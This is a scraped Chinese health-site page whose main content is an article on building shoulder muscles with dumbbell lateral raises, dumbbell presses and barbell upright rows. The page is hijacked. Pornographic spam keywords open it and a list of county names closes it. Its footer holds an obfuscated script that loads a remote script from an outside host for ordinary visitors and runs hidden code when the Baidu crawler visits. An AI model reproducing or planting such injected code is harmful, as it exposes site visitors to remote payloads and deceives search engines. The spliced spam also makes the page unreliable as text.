亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 健康 > 運動健身 > 正文

怎么鍛煉肩膀的肌肉

2017-04-16 22:26:14  來源:360常識網(wǎng)   熱度:
導(dǎo)語:男性擁有一個寬厚的肩膀會吸引到女性朋友的眼光,寬厚的肩膀不是天生的,是需要通過運動鍛煉到肩膀肌肉,使得肩膀肌肉有明顯的輪廓,呈現(xiàn)出

男性擁有一個寬厚的肩膀會吸引到女性朋友的眼光,寬厚的肩膀不是天生的,是需要通過運動鍛煉到肩膀肌肉,使得肩膀肌肉有明顯的輪廓,呈現(xiàn)出一個V字型,不管是氣質(zhì)還是著裝都會有所提高,有很多男性朋友表示肩膀肌肉比較難以鍛煉到,下面就為大家來介紹幾個好方法。

一、啞鈴側(cè)平舉是練就寬肩膀的一個非常重要的動作,大多數(shù)專業(yè)健美人士,非常鐘愛這個動作,說一下這個動作的動作要領(lǐng):手持啞鈴放于身體前側(cè),兩臂微微彎曲,用肩膀的肌肉帶動手臂抬高至兩側(cè),抬至比肩稍高即可,精力集中,排除雜念。

二、啞鈴?fù)婆e,這個動作強加練習(xí)對肩膀變寬很有幫助,這里介紹一下動作要領(lǐng):雙手拿起啞鈴坐在訓(xùn)練凳,腰部與背部必須挺直,將啞鈴以推舉的姿勢放于肩膀上側(cè),保持后背的挺直同時推出啞鈴。

三、手提杠鈴的動作,對肩膀非常有幫助,雙腳分開與肩同寬,手提杠鈴,窄握寬握都可以,保持身體其他部位不動,同時后背與腰部保持挺直,向上提杠鈴,提至下巴處即可。

如果時間以及經(jīng)濟方面都比較充裕的朋友可以在健身房進(jìn)行相關(guān)運動,有專業(yè)的教練可以輔導(dǎo)進(jìn)行運動,并且還能及時的糾正到錯誤的姿勢。想要在家里來鍛煉肩膀肌肉的朋友可以通過文中介紹到的這三個方法,相信每個動作都正確做到的話,月余時間就能見到效果。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
卢氏县| 蒙山县| 新民市| 宣威市| 冷水江市| 平邑县| 电白县| 长泰县| 嘉祥县| 济源市| 安陆市| 桦南县| 萝北县| 宜宾县| 姜堰市| 沙湾县| 中山市| 怀远县| 噶尔县| 岱山县| 剑川县| 德惠市| 淮阳县| 轮台县| 玉山县| 宁陕县| 晋城| 阳信县| 丽江市| 永济市| 婺源县| 淄博市| 南安市| 富阳市| 池州市| 安达市| 邳州市| 理塘县| 六盘水市| 东丽区| 依安县|